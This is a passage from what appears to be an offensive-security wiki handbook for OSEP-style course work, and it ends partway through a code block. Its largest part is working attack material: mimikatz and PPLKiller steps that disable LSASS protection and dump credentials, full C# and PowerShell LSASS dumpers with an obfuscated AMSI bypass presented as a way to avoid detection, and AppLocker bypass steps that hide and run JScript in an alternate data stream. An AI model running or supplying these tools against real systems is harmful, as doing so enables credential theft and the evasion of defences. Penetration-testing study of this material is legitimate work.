&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2354</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2354"/>
		<updated>2026-03-16T11:22:40Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
